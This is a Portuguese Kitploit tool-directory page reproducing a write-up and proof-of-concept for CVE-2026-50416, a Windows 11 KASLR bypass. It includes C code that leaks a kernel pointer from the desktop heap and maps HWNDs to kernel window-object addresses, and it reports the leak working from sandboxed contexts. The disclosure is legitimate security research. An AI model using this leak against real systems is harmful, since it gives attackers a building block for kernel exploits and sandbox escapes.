Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: bypass de KASLR no Windows 11 | Kitploit
Ferramentas/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Frameworks de ExploraçãoForensia de MemóriaAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesCTFAnálise de BináriosPapers e PesquisaAprendizado e Educação
Labs e Prática
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: bypass de KASLR no Windows 11

Ver RepositórioSite
44513há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-50416: Um QWORD a Mais no Desktop Heap

No Windows 11 Insider build 10.0.28020.2149, o mapeamento em modo de usuário do desktop heap do Win32k expôs um ponteiro bruto do pool de sessão do kernel no offset 0x100.

A leitura em si é quase ofensivamente pequena:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Na minha sessão de teste, isso retornou:

0xffffc600dcc00040

O valor permaneceu o mesmo entre processos no mesmo desktop e mudou após uma reinicialização. Um processo iniciado em outro desktop recebeu um valor diferente porque tinha um desktop heap diferente. A partir deste único QWORD, o PoC recuperou a base do desktop heap do kernel e então usou user32!gSharedInfo para derivar os endereços de kernel de objetos de janela ativos.

A mesma leitura funcionou a partir de Low integrity, AppContainer, uma configuração LPAC com zero capacidades, e um filho AppContainer de Low integrity com zero capacidades.

O desktop heap deveria ser compartilhado. O ponteiro do kernel não é.

O desktop heap a partir do modo de usuário

O Win32k armazena objetos USER como janelas, menus, classes, hooks e metadados relacionados em desktop heaps. Cada desktop tem seu próprio heap. Parte desse heap é mapeada em processos associados ao desktop para que o modo de usuário possa ler o estado compartilhado da GUI sem perguntar ao kernel por cada campo.

No build x64 testado, o mapeamento em modo de usuário pode ser alcançado através dos dados de cliente do TEB da thread atual:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Os offsets são específicos do build, mas a rota é simples:

GS:[0x30]
    -> TEB
    -> ClientInfo em TEB + 0x800
    -> ClientInfo[5]
    -> mapeamento do desktop heap em modo de usuário

O PoC chama VirtualQuery no endereço retornado e registra a região mapeada e sua proteção. Nada deu errado ainda. Um mapeamento de desktop heap somente leitura é comportamento normal do Win32k.

O problema começa 256 bytes adentro.

O ponteiro no offset 0x100

O PoC principal lê um QWORD do heap mapeado:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

O valor passou nas verificações básicas esperadas de um endereço virtual de kernel no sistema testado:

  • Bits altos canônicos
  • Alinhamento de oito bytes
  • Não é um dos valores sentinela conhecidos filtrados pelo PoC
  • Estável enquanto janelas eram criadas e destruídas
  • Idêntico em processos testados no mesmo desktop
  • Diferente após reinicialização
  • Diferente em outro desktop

O teste de estabilidade cria janelas STATIC, BUTTON e EDIT, lê o valor antes da criação, lê novamente enquanto as janelas existem, as destrói e lê uma terceira vez.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Todas as três leituras retornaram o mesmo valor. A atividade de alocação de janelas não o moveu. Esse comportamento é consistente com um campo nos metadados do desktop heap, em vez de um ponteiro de objeto de curta duração.

A propriedade entre processos é igualmente importante. Dois processos anexados ao mesmo desktop observam o mesmo valor vazado porque estão olhando para o mesmo desktop heap. Após uma reinicialização, o KASLR dá à sessão um novo endereço. Um filho colocado em outro desktop observa outro ponteiro porque esse desktop possui outro heap.

Isso dá ao vazamento uma identidade útil:

mesmo boot + mesmo desktop      -> mesmo ponteiro
mesmo boot + desktop diferente -> ponteiro diferente
novo boot                       -> ponteiro diferente

Recuperando a base do desktop heap do kernel

No build testado, o ponteiro vazado está 0x40 bytes acima da base do desktop heap do kernel usada pelo PoC:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Usando o valor da sessão registrada:

ponteiro vazado            = 0xffffc600dcc00040
base do desktop heap kernel = 0xffffc600dcc00000

Essa relação é específica do build. Para o build usado durante os testes, ela fornece a âncora do lado do kernel necessária para o próximo passo.

Um ponteiro já é útil. Um endereço para um objeto escolhido é muito mais útil.

Resolvendo um objeto de janela através do gSharedInfo

user32.dll exporta gSharedInfo, que expõe a lista de entradas de handles USER e o tamanho de cada entrada:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Um HWND contém um índice na tabela de handles USER. O PoC pega os 16 bits baixos do handle, caminha até a entrada correspondente e lê o offset do desktop heap armazenado ali.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

O mesmo offset nomeia o objeto em ambos os mapeamentos:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Então o cálculo completo é:

base do desktop heap kernel = desktop_heap[0x100] - 0x40
índice do handle            = HWND & 0xffff
offset do heap              = aheList[índice do handle].offset
endereço da janela kernel   = base do desktop heap kernel + offset do heap

O PoC cria seis classes de janela e realiza o cálculo para cada uma:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Para cada objeto, ele imprime o HWND, índice do handle, endereço do objeto em modo de usuário, offset do heap e endereço de kernel.

HWND
  -> índice do handle de 16 bits baixos
  -> entrada de handle do gSharedInfo
  -> offset do desktop heap
  -> base do desktop heap kernel + offset
  -> endereço de kernel daquele objeto de janela

Esta é a parte que transforma a divulgação de um ponteiro de kernel solto em um oráculo de endereços para objetos USER selecionados no desktop heap testado.

Por que os testes de sandbox importam

O desktop heap chega através de um mapeamento compartilhado. Níveis de integridade e restrições de AppContainer não reescrevem o conteúdo desse mapeamento para cada processo. Se o processo recebe o desktop heap, ele recebe o QWORD em 0x100 junto.

O PoC de sandbox lança filhos em vários contextos e faz cada filho ler o valor do seu próprio TEB e do seu próprio mapeamento de desktop heap.

ContextoConfiguraçãoResultado
Integridade médiaProcesso de usuário padrãoVazado
Integridade baixaIntegridade do token reduzida para LowVazado
AppContainerZero capacidades solicitadasVazado
Configuração LPACTodas as políticas de opt-out de pacotes de aplicativos, zero capacidades solicitadasVazado
AppContainer de integridade baixaLow IL mais AppContainer, zero capacidades solicitadasVazado
Desktop alternativoFilho atribuído a um novo desktopVazou um valor diferente

Os primeiros cinco filhos estavam anexados ao desktop padrão e retornaram o mesmo endereço. O filho do desktop alternativo retornou outro endereço porque recebeu outro desktop heap.

A saída do filho tem um formato compacto para que o pai possa comparar resultados:

Baixar ferramenta